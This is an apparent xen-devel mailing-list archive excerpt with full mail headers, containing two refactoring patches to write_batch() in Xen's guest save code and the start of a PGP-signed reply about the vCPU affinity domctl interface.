	eW5q6FVv+Nsn1VbV0qwz+q4jgxR21kq9KgsdKGN8A9vyl7K4dhFJtf1u04bLUMb9ixluKtU0AcH
	Q==
X-Received: by 2002:adf:ed42:0:b0:477:80fa:f44d with SMTP id ffacd0b85a97d-477b5677843mr793528f8f.40.1782913952815;
        Wed, 01 Jul 2026 06:52:32 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v6 1.9/16] libs/guest: Allocate rec_pfns earlier in write_batch()
Date: Wed,  1 Jul 2026 14:52:30 +0100
Message-Id: <20260701135230.794306-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260619130501.272832-3-frediano.ziglio@citrix.com>
References: <20260619130501.272832-3-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1782913954-A2D3B3FC-A57FC2C9/0/0
X-purgate-type: clean
X-purgate-size: 2133

For reasons which escape me, rec_pfns are allocated separately to the rest of
the batch allocations.

Allocate them all together.  This will allow for future simplifications to be
performed in an incremental mannor.

No functional change.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Anthony PERARD <anthony.perard@vates.tech>
CC: Frediano Ziglio <frediano.ziglio@citrix.com>
---
 tools/libs/guest/xg_sr_save.c | 14 ++++----------
 1 file changed, 4 insertions(+), 10 deletions(-)

diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index fdbceab52e46..69fe991a8113 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -116,8 +116,10 @@ static int write_batch(struct xc_sr_context *ctx)
     local_pages = calloc(nr_pfns, sizeof(*local_pages));
     /* iovec[] for writev(). */
     iov = malloc((nr_pfns + 4) * sizeof(*iov));
+    /* page_data record PFNs list */
+    rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
 
-    if ( !mfns || !types || !errors || !guest_data || !local_pages || !iov )
+    if ( !mfns || !types || !errors || !guest_data || !local_pages || !iov || !rec_pfns )
     {
         ERROR("Unable to allocate arrays for a batch of %u pages",
               nr_pfns);
@@ -208,14 +210,6 @@ static int write_batch(struct xc_sr_context *ctx)
         }
     }
 
-    rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
-    if ( !rec_pfns )
-    {
-        ERROR("Unable to allocate %zu bytes of memory for page data pfn list",
-              nr_pfns * sizeof(*rec_pfns));
-        goto err;
-    }
-
     hdr.count = nr_pfns;
 
     rec.length = sizeof(hdr);
@@ -264,11 +258,11 @@ static int write_batch(struct xc_sr_context *ctx)
     rc = ctx->save.nr_batch_pfns = 0;
 
  err:
-    free(rec_pfns);
     if ( guest_mapping )
         xenforeignmemory_unmap(xch->fmem, guest_mapping, nr_pages_mapped);
     for ( i = 0; local_pages && i < nr_pfns; ++i )
         free(local_pages[i]);
+    free(rec_pfns);
     free(iov);
     free(local_pages);
     free(guest_data);
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 13:58:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 13:58:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350000.1607580 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevRr-0007wE-K5; Wed, 01 Jul 2026 13:57:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350000.1607580; Wed, 01 Jul 2026 13:57:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevRr-0007w7-HN; Wed, 01 Jul 2026 13:57:55 +0000
Received: by outflank-mailman (input) for mailman id 1350000;
 Wed, 01 Jul 2026 13:57:54 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wevRp-0007w1-Vv
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:57:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wevRo-0030IK-3w
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:57:52 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a451cd0-e002-0a2a0a5209dd-0a2a450bd6d4-30
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:57:52 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a451cdf-ac48-0a2a450b0019-d155dd2bdd3f-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:57:52 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-4720d22c94aso625467f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 06:57:51 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be4d1f1asm84305675e9.7.2026.07.01.06.57.50
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 01 Jul 2026 06:57:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1782914271; x=1783519071; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=BIJgGOMFkoaNlmHYqWSEkGMrKi3GrI6JuJgk0+8+tmY=;
        b=GlKi1BpXNfmsh5TXb2Duo2Mdv1teFK6sO8VLvRaa8dtb2wIyjEkY/3sd30su1d3KVy
         HwUWvuONyGQqPBPZBlR1y8Ubs8hSjcIKOD8/Us+67+kqOClOa+lIg3R38Q8xJ2NwJoER
         nPDOO3G92LscE6+Wg0LMU4+kkU58gI1fXh3bY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782914271; x=1783519071;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=BIJgGOMFkoaNlmHYqWSEkGMrKi3GrI6JuJgk0+8+tmY=;
        b=exR/otGYjuPieRvrC3+ILeHPhpcVAKNBf14Ooy1T2mXlrLXSwkcph8drEoC2DDqIsq
         1xwfm21yp9IcZRnbawGW+SuvpdxuWrSpOIJFWgvclEPoDfs+MhxrC43Am+jSvUvnN6UI
         UozvCVbzJxi0JtuCTOajiy3wjIPQhxEDLarIpWpHpfgvGSUHbIli1W1lrhuYI79qKkYu
         4DwHAXktBqHteR84ujNYRHalj/GTqKaVGtkwyOqxwZOIuVFLNFWKX/1KEgvjZtdQtXDY
         jkoUNJu1E1uz33RakeGtbDKlqTGW2jrodpqpALFaBTdGNYE9tOJkVymBptS7zAXhDlz2
         luzw==
X-Gm-Message-State: AOJu0YwWJlny5/JSLZSt+8fzYrM+r528C8FWoOxeUYKJwBu18yDQmXOb
	Cy1JReA/2s6yO+t9Q52jomVDl7Tf+z6yYbpVIGiGKjIWodDfF0Nq4QIHeCItZdG7Shw82/miBZw
	wZQaP
X-Gm-Gg: AfdE7cmErdC9+xMaft4gQ2LQmi/Co13tCqFV4GS9A5wo0jhEjrSFB3nGVZb9WdjAVRt
	ajgp+6x+g0Ml+5MPdk/xL8Uh0DjuQxIG0Iur5/1MUR9whuQhCZkCTRClXhAXlxBvNMN5SA0bLW1
	9k6ussISLazP+qBWUbzDt8c7yPccFmBYOYnhr27XrW9hMr6DWRnsAmYcGbUIRk5pKtMWQsPvcHz
	l3Zc3ttYnpaLhPRaJQa+iRUst1VDetASZBru7e9fEfu57y1tjPvc2cuTG5GNNKd5JQo/mE04T4u
	JT0U6tFZjQTpHF395lOrelAB5cpyMn2mF/Zb6mMBD1yvwQTzjF7Y24IUgvY9srDKNGAEdWNXivp
	SwpKmJTXpXEgrSOVajmfT9aiPo51lz5hsZp3TVash34iWLgfg7cIE9adBDNA7I355cO04JF16JR
	Rzz/zdACkr292esY//EquTeQ+4HBFid7jdHWz1hNou+7rmcry77Z9vHo34PelLwUs0CxeV7VwFP
	g==
X-Received: by 2002:a05:600c:c093:b0:493:bb4d:4dfe with SMTP id 5b1f17b1804b1-493c3cf0d10mr11552475e9.23.1782914270976;
        Wed, 01 Jul 2026 06:57:50 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Frediano Ziglio <freddy77@gmail.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>
Subject: [PATCH v6.1 02/16] libs/guest: Reduce number of iovecs in write_batch()
Date: Wed,  1 Jul 2026 14:57:47 +0100
Message-Id: <20260701135747.797083-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260619130501.272832-3-frediano.ziglio@citrix.com>
References: <20260619130501.272832-3-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1782914272-A673A220-E3FC135F/0/0
X-purgate-type: clean
X-purgate-size: 3256

From: Frediano Ziglio <freddy77@gmail.com>

Construct all of the headers together in one block, rather than a field at a
time.  Initialise as many of the fields as possible at declaration time.

Start filling in iov[] earlier, to allow for future simplifications.

No practical change.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Anthony PERARD <anthony.perard@vates.tech>
CC: Frediano Ziglio <frediano.ziglio@citrix.com>
---
 tools/libs/guest/xg_sr_save.c | 45 +++++++++++++++++------------------
 1 file changed, 22 insertions(+), 23 deletions(-)

diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 69fe991a8113..7736f4a055e0 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -97,9 +97,18 @@ static int write_batch(struct xc_sr_context *ctx)
     void *page, *orig_page;
     uint64_t *rec_pfns = NULL;
     struct iovec *iov = NULL; int iovcnt = 0;
-    struct xc_sr_rec_page_data_header hdr = { 0 };
-    struct xc_sr_record rec = {
-        .type = REC_TYPE_PAGE_DATA,
+    struct {
+        struct xc_sr_rhdr rec;
+        struct xc_sr_rec_page_data_header page_data;
+    } hdrs = {
+        .rec = {
+            .type = REC_TYPE_PAGE_DATA,
+            .length = offsetof(struct xc_sr_rec_page_data_header,
+                               pfn[nr_pfns]), /* + the pages to send */
+        },
+        .page_data = {
+            .count = nr_pfns,
+        },
     };
 
     assert(nr_pfns != 0);
@@ -115,7 +124,7 @@ static int write_batch(struct xc_sr_context *ctx)
     /* Pointers to locally allocated pages.  Need freeing. */
     local_pages = calloc(nr_pfns, sizeof(*local_pages));
     /* iovec[] for writev(). */
-    iov = malloc((nr_pfns + 4) * sizeof(*iov));
+    iov = malloc((nr_pfns + 2) * sizeof(*iov));
     /* page_data record PFNs list */
     rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
 
@@ -126,6 +135,14 @@ static int write_batch(struct xc_sr_context *ctx)
         goto err;
     }
 
+    iov[0].iov_base = &hdrs;
+    iov[0].iov_len = sizeof(hdrs);
+
+    iov[1].iov_base = rec_pfns;
+    iov[1].iov_len = nr_pfns * sizeof(*rec_pfns);
+
+    iovcnt = 2;
+
     for ( i = 0; i < nr_pfns; ++i )
     {
         types[i] = mfns[i] = ctx->save.ops.pfn_to_gfn(ctx,
@@ -210,29 +227,11 @@ static int write_batch(struct xc_sr_context *ctx)
         }
     }
 
-    hdr.count = nr_pfns;
-
-    rec.length = sizeof(hdr);
-    rec.length += nr_pfns * sizeof(*rec_pfns);
-    rec.length += nr_pages * PAGE_SIZE;
+    hdrs.rec.length += nr_pages * PAGE_SIZE;
 
     for ( i = 0; i < nr_pfns; ++i )
         rec_pfns[i] = ((uint64_t)(types[i]) << 32) | ctx->save.batch_pfns[i];
 
-    iov[0].iov_base = &rec.type;
-    iov[0].iov_len = sizeof(rec.type);
-
-    iov[1].iov_base = &rec.length;
-    iov[1].iov_len = sizeof(rec.length);
-
-    iov[2].iov_base = &hdr;
-    iov[2].iov_len = sizeof(hdr);
-
-    iov[3].iov_base = rec_pfns;
-    iov[3].iov_len = nr_pfns * sizeof(*rec_pfns);
-
-    iovcnt = 4;
-
     if ( nr_pages )
     {
         for ( i = 0; i < nr_pfns; ++i )
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 14:20:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 14:20:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350023.1607589 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevn1-0003TF-Cr; Wed, 01 Jul 2026 14:19:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350023.1607589; Wed, 01 Jul 2026 14:19:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevn1-0003T8-A8; Wed, 01 Jul 2026 14:19:47 +0000
Received: by outflank-mailman (input) for mailman id 1350023;
 Wed, 01 Jul 2026 14:19:46 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wevn0-0003T2-NS
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:19:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wevn0-002zaz-3s
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:19:46 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a452200-2eae-0a2a0a5409dd-0a2a450bea26-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:19:45 +0200
Received: from [209.85.208.49] (helo=mail-ed1-f49.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a452201-ac48-0a2a450b0019-d155d031bdfc-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:19:45 +0200
Received: by mail-ed1-f49.google.com with SMTP id
 4fb4d7f45d1cf-6983f20a8bfso1375854a12.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 07:19:45 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1288f0d68asm289584066b.31.2026.07.01.07.19.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 07:19:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782915585; x=1783520385; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=l8fT8el2oFfYGyvxnweVFg4qecD61F7QfiQTC10goyo=;
        b=KCPjR5XoMJBjmVyW/9SPdujFFlr22P4Ft3ql0iTzRDCdGMO+kB6gggKC/JjA4q5K06
         7D0tM4RGM3scHVcrwBIbH61DAh8TMyP4MUKgTnzVbZ3WvPuwGgYdzKyZePWSuX8NqG3v
         exWwzmN46DSCVI7dS42pYIXA3WMSppAAqqi6pcK2D1qPzpaguHpfuFPunLBA2L5kosvD
         NyFOjzZD8X3teQ2GmBqF5QmrqmEp7BkcfoinGNJLmr12qJJ88sPGdi1/zv39KAo6w/Ta
         0RfdDa5ortoCgTue5E+LP/YvaY9vzb6z6qbzNUr8shNl/HIsWvDPpLo0sJwpDaePFOZT
         g16g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782915585; x=1783520385;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=l8fT8el2oFfYGyvxnweVFg4qecD61F7QfiQTC10goyo=;
        b=dKSS0I2HgziCnHONFIVf5/KZSmvvDHiJYo3wPOqA5NsPvXolK/okaZf3Y5E+N28xoo
         2TxEYMAizNaY5WAtU7drsMVaZXNaU8WO5k2vBJRKvoqyu2QU9RDB8StICUqNFzWQHXn0
         gZEsztsx5MRTf2olF/WraDJn6PSpIFTvbZ0w4cl1E7Go/aG3S7ZInEKsAmwmDpVDd6UX
         t/FTznh24WGUqC29ezosHd3cAXbPA17usDT6f2etV8eix0GtivAb+sd9EPWo+9CD6WEr
         1hjnqnlELWtffipqjJbjyrXLRU9caVwAe6aE+avtZg1wOkSyrO7W/MrIQyQAoCpYgYQI
         uIXg==
X-Forwarded-Encrypted: i=1; AHgh+RpoWbW5Bnh6UeCSbKhydp3k2n7SywPr1H+kpOiMXwKQEuFVG+oqCFkDASGx6ITkWvcwV8yCSl1wTcs=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzf1ADdFNC8iVJwprouodvHGsUCGQdOk9808vujmVhoQnwvG32x
	qHj6x0IbjzB5JkEkfFyWVNpvVo4UeKy3CYyv7jMd9xALfoIoU1gjiLZavU4oK3oQx3c=
X-Gm-Gg: AfdE7cm0jQqgthdvBPb/omQX6t20LwRzfThza4JZjiG6Llium71BWCCan1+3cLvreas
	rPelAPlbK2ATdNJ7hs5WOpLgWTQcF3jThlWc7TlneKEAcd6o+JnBH3lQ1Z8ZfL1csi9Ozm2X2fw
	W5cj297izPRaJZmz65cde8zcE2YN3hHCwjpOJCq2ZsjYR3JnY61dIPt6f3+K2qr4NfDOg8Ntdo9
	JrpbfT0MS07UZGcAShMDcsfjHbv1U6Cfu+zd0XaejfbsPjpRjFi4hkMuhIS6oXVF/73nqfCzU38
	eIhJJHt066ZSsPpL/EMio5dby+/7+CPSTPjJ0/j+zfd6Uruayz0RYNEhywPprnkqhG82Dz+bhdI
	MbIRfWmajN7WyfkoQif/jGWbKa9GeuL6sM5o/vIjNAy8zCfLlzWS9byPDEK8FpNJd2dZdUF0bDw
	E1QCEZDOU4EyzpDEqUdNQ26P3eBVaGJVaoGhoy4/+6072ztWq14cObIs06oxv4BqDFQUCt38Zqq
	USIc16rgU7fnxJQAeRjU9Gjdjn4mqA3v+4wWN6VpS4=
X-Received: by 2002:a17:907:a704:b0:bff:334:1fe1 with SMTP id a640c23a62f3a-c12a9dc50c4mr111586266b.12.1782915585326;
        Wed, 01 Jul 2026 07:19:45 -0700 (PDT)
Message-ID: <8bff241e-c4c3-4ffd-b358-9ab1bb0f8a9e@suse.com>
Date: Wed, 1 Jul 2026 16:19:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <f4623033-ec0f-4b91-8443-724701c79f37@suse.com>
 <ff6cf07f-bc82-41d2-8a14-80cdcea54af1@suse.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3a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ObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <ff6cf07f-bc82-41d2-8a14-80cdcea54af1@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------0p0xN5eaHpuatzKkU9YY4nTZ"
X-purgate-ID: tlsNG-42698a/1782915585-3A73A220-A8AE3B41/0/0
X-purgate-type: clean
X-purgate-size: 11316

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------0p0xN5eaHpuatzKkU9YY4nTZ
Content-Type: multipart/mixed; boundary="------------5dglv8sBPRTbNKuf8j0W90pC";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <8bff241e-c4c3-4ffd-b358-9ab1bb0f8a9e@suse.com>
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <f4623033-ec0f-4b91-8443-724701c79f37@suse.com>
 <ff6cf07f-bc82-41d2-8a14-80cdcea54af1@suse.com>
In-Reply-To: <ff6cf07f-bc82-41d2-8a14-80cdcea54af1@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJ3BBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AAIQkQoDSui/t3IH4WIQQ+pJkfkcoLMCa4X6CgNK6L+3cgfgn7AJ9DmMd0SMJE
 ePbc7/m22D2v04iu7ACffXTdZQhNl557tJuDXZSBxDmW/tLOwU0EWTecRBAIAIK5OMKMU5R2
 Lk2bbjgX7vyQuCFFyKf9rC/4itNwhYWFSlKzVj3WJBDsoi2KvPm7AI+XB6NIkNAkshL5C0kd
 pcNd5Xo0jRR5/WE/bT7LyrJ0OJWS/qUit5eNNvsO+SxGAk28KRa1ieVLeZi9D03NL0+HIAtZ
 tecfqwgl3Y72UpLUyt+r7LQhcI/XR5IUUaD4C/chB4Vq2QkDKO7Q8+2HJOrFIjiVli4lU+Sf
 OBp64m//Y1xys++Z4ODoKh7tkh5DxiO3QBHG7bHK0CSQsJ6XUvPVYubAuy1XfSDzSeSBl//C
 v78Fclb+gi9GWidSTG/4hsEzd1fY5XwCZG/XJJY9M/sAAwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------5dglv8sBPRTbNKuf8j0W90pC
Content-Type: multipart/mixed; boundary="------------TH1xNPsNt3QwZwU0jwwtMT98"

--------------TH1xNPsNt3QwZwU0jwwtMT98
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDEuMDcuMjYgMTU6NDgsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwMS4wNy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bWFza3Mg
b3Igd2l0aCBvbmx5IG9uZSBvZiB0aGVtLiBUaGlzIHdvdWxkDQpyZXF1aXJlIG9ubHkgYSBt
aW5vciByZW9yZyBvZiB0aGUgYWZmaW5pdHkgaGVscGVycy4NCg0KDQpKdWVyZ2VuDQo=
--------------TH1xNPsNt3QwZwU0jwwtMT98
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
